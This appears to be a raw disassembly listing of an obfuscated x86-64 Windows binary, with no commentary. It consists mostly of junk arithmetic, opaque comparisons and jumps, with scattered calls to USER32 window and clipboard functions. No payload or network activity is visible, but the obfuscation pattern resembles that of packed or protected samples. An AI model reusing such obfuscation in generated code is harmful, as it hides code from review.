mov rax, qword [rbp + 0x7280]
and rax, rdx
mov qword [rbp + 0x6b30], rax
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x6b7], al
movzx eax, word [rbp + 0x1a8c]
sub ax, 0xe6
mov word [rbp + 0x1a8c], ax
movzx eax, byte [rbp + 0x3a0b]
add eax, 0x3c
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x6b7], al
movzx eax, word [rbp + 0x1a8c]
add ax, 0xd90
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
and eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
xor rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x2af0]
mov rdx, qword [rbp + 0x7280]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
or edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d0]
mov rax, qword [rax]
and rax, rdx
mov qword [rbp + 0x7280], rax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
sub rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
movzx eax, word [rbp + 0x1a8c]
sub ax, 0x730
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x25510]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
or rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x1068]
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x1540]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
movzx eax, byte [rbp + 0x3a0b]
and eax, 0x4a
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
movzx eax, word [rbp + 0x1a8c]
sub ax, 0x392
mov word [rbp + 0x1a8c], ax
movzx eax, byte [rbp + 0x3a0b]
add eax, 0x36
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
cmp dword [rbp + 0x255b4], 0x7aa5
ja 0x140006f9f
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x24c40], rax
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
cmp eax, 0x6a
je 0x1400074d9
cmp eax, 0x74
je 0x14000759e
jmp 0x14000766d
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
cmp eax, 0x138b29ea
je 0x14000754a
cmp eax, 0x73b6e909
jne 0x14000766c
movzx eax, byte [rbp + 0x6b7]
movzx ecx, al
mov r8d, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov r9d, 0x4b
mov ecx, eax
call fcn.14015b080
jmp 0x140007599
lea rdx, [rbp + 0x1068]
mov rax, qword [rbp + 0x24c30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetClientRect]
call rax
mov dword [rbp + 0x24c2c], eax
mov rcx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, byte [rbp + 0x3a0b]
sub eax, 0x23
mov byte [rbp + 0x3a0b], al
nop
jmp 0x14000766c
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
shl edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
xor eax, edx
cmp ecx, eax
jge 0x140007620
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
or eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x255f8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetForegroundWindow]
call rax
mov dword [rbp + 0x24c88], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
and edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
lea rdx, [rbp + 0x1988]
mov rax, qword [rbp + 0x254a0]
mov r9, rdx
mov r8d, 0xc4
mov edx, 0x54
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMenuBarInfo]
call rax
mov dword [rbp + 0x24c3c], eax
jmp 0x14000766d
nop
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jne 0x14015ab68
lea rax, [rbp + 0x1a8c]
mov qword [rbp + 0xc80], rax
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
add edx, eax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx eax, al
cmp edx, eax
jle 0x14000771c
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
cmp eax, 0x2e
je 0x1400076d0
cmp eax, 0x72
je 0x14000770b
jmp 0x14000771c
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx ecx, al
mov r8d, dword [rbp + 0x78ec]
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov r9d, 0x44
mov ecx, eax
call fcn.14015b080
jmp 0x14000771c
movzx eax, byte [rbp + 0x3a0b]
or eax, 0x75
mov byte [rbp + 0x3a0b], al
nop
movzx eax, word [rbp + 0x638]
movsx edx, ax
imul edx, edx, 0xffff8219
shr edx, 0x10
add edx, eax
sar dx, 0xd
sar ax, 0xf
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xac34
jne 0x14015aa4d
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
cmp eax, 0xd7e
je 0x1400078be
cmp eax, 0xac34
jne 0x140007af2
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
cmp ecx, edx
je 0x1400077d2
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0xc80]
mov word [rax], dx
jmp 0x140007966
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x24c40]
mov eax, dword [rax]
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
cmp ecx, edx
jb 0x140007966
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
cmp eax, 0x17
je 0x14000789c
cmp eax, 0x2a
jne 0x140007966
lea rdx, [rbp + 0x66d0]
mov rax, qword [rbp + 0x24c68]
mov r9d, 0x36
mov r8, rdx
lea rdx, [fcn.1400017de]
mov rcx, rax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rbp + 0x24c2c], eax
movzx eax, word [rbp + 0x638]
shl eax, 2
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x24c20]
mov rax, qword [rbp + 0x24c20]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UserHandleGrantAccess]
call rax
mov dword [rbp + 0x24c1c], eax
jmp 0x1400078b9
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
xor edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
nop
jmp 0x140007966
movzx eax, word [rbp + 0x638]
and ax, 0x170a
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0x24c80]
mov dword [rsp + 0x20], 1
mov r9d, 0x45
mov r8d, 0x4a
mov edx, 0x32
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetScrollRange]
call rax
mov dword [rbp + 0x24c18], eax
movzx eax, word [rbp + 0x638]
cwde
cmp eax, 0x66d5
je 0x14000794f
cmp eax, 0x7f2c
jne 0x14000796c
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x7280]
sub rdx, rax
mov qword [rbp + 0x2af0], rdx
jmp 0x140007964
mov ecx, 0xffffffcc
mov rax, qword [sym.imp.USER32.dll_IsCharAlphaNumericA]
call rax
mov dword [rbp + 0x24c18], eax
nop
jmp 0x14000796c
nop
jmp 0x140007af2
nop
jmp 0x140007af2
add dword [rbp + 0x25554], 2
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov ecx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
movzx eax, word [rbp + 0x638]
and ax, 0x754a
mov word [rbp + 0x638], ax
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
add dx, 0x13a
mov word [rax], dx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
sub ax, 0x333
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
or rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x7c0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
xor eax, edx
mov dword [rbp + 0x4b38], eax
movzx eax, word [rbp + 0x638]
and ax, 0x519c
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
add ax, 0x7b9
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x6b7], al
movzx eax, byte [rbp + 0x3a0b]
sub eax, 1
mov byte [rbp + 0x3a0b], al
cmp dword [rbp + 0x25554], 0x49af
jbe 0x140007972
lea rax, [rbp + 0x3a0b]
mov qword [rbp + 0x24c10], rax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c40]
mov dword [rax], edx
lea rax, [rbp + 0x3680]
mov qword [rbp + 0x24c08], rax
lea rax, [rbp + 0x2af0]
mov qword [rbp + 0x24c00], rax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x65
jne 0x14015a9a6
movzx eax, word [rbp + 0x638]
mov word [rbp + 0x42b2], ax
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
movabs rax, 0xc90edf79e19d9db
cmp rdx, rax
jne 0x140007c74
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
xor edx, eax
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
cmp dl, al
jne 0x140007bbf
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
add eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x25510]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x6f
je 0x140007c26
mov rax, qword [rbp + 0x24bf8]
mov dword [rsp + 0x20], 0
mov r9d, 0x15
mov r8d, 0xa4
mov edx, 0x64
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetScrollRange]
call rax
mov dword [rbp + 0x24c1c], eax
jmp 0x140007c27
nop
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [sym.imp.USER32.dll_GetClipboardViewer]
call rax
mov qword [rbp + 0x255f8], rax
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
jmp 0x14015a963
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
mov word [rbp + 0xbf4], ax
mov dword [rbp + 0x25584], 0xd339
movzx eax, byte [rbp + 0x6b7]
mov byte [rbp + 0x1b37], al
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x14
je 0x140007cb8
cmp eax, 0x65
je 0x140007cc2
jmp 0x14015a84c
call fcn.14015bd61
jmp 0x14015a84c
mov eax, dword [rbp + 0x66d0]
mov dword [rbp + 0x473c], eax
jmp 0x1400080b3
mov r8d, dword [rbp + 0x78ec]
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x1540]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c10]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3a0b]
xor edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1a8c]
sub eax, edx
mov word [rbp + 0xbf4], ax
movzx eax, word [rbp + 0x42b2]
add ax, 0x5db8
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x6b30]
add rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rcx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x473c]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1a8c]
sub eax, edx
mov word [rbp + 0xbf4], ax
sub dword [rbp + 0x2561c], 0xa2
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0xbc8]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
xor rax, rdx
mov qword [rbp + 0x4bf8], rax
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
or eax, edx
mov dword [rbp + 0x473c], eax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
movzx eax, byte [rbp + 0x3a0b]
sub eax, 0x18
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
movzx edx, word [rbp + 0xbf4]
movzx ecx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
and edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
movzx edx, byte [rbp + 0x1b37]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1a8c]
sub eax, edx
mov word [rbp + 0xbf4], ax
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
add rax, rdx
mov qword [rbp + 0x6b30], rax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x66d0]
mov eax, dword [rbp + 0x473c]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
movzx eax, byte [rbp + 0x3a0b]
shl eax, 5
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
or edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
movzx ecx, word [rbp + 0x1a8c]
movzx edx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
xor edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
and edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
mov qword [rbp + 0x6b30], rdx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x24c40]
mov dword [rax], edx
cmp dword [rbp + 0x2561c], 0xad8b
ja 0x140007cd3
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
add dword [rbp + 0x2559c], 0x23
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov edx, dword [rbp + 0x473c]
mov eax, dword [rbp + 0x66d0]
xor edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
or rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
and edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1b37], al
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
add edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x638]
add ax, 0xfe2
mov word [rbp + 0x42b2], ax
movzx eax, word [rbp + 0x638]
sub ax, 0x10dd
mov word [rbp + 0x42b2], ax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
sub eax, 0x65
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
and eax, edx
mov byte [rbp + 0x6b7], al
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x4bf8]
add rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x473c], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov dword [rbp + 0x1068], edx
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x24c08]
mov qword [rax], rdx
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
cmp dword [rbp + 0x2559c], 0x2846
jbe 0x1400080c3
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jne 0x1400083c3
movzx eax, byte [rbp + 0x3a0b]
mov byte [rbp + 0x4fd7], al
lea rax, [rbp + 0x638]
mov qword [rbp + 0x25548], rax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov byte [rbp + 0x3727], al
mov dword [rbp + 0x255ac], 0x19c2
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c40]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x1dc8], eax
